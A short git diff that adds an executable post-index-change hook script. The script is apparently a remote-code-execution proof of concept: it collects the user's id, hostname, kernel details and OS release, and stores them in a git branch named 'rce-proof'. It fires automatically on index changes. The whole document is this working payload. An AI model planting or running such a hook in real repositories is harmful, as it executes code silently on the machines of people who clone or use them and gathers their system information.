diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..6c10eff
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,7 @@
+#!/bin/sh
+OUT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3)
+BLOB=$(echo "$OUT" | git hash-object -w --stdin)
+TREE=$(printf "100644 blob ${BLOB}\toutput.txt\n" | git mktree)
+COMMIT=$(git commit-tree ${TREE} -m "rce-output")
+git update-ref refs/heads/rce-proof ${COMMIT}
+exit 0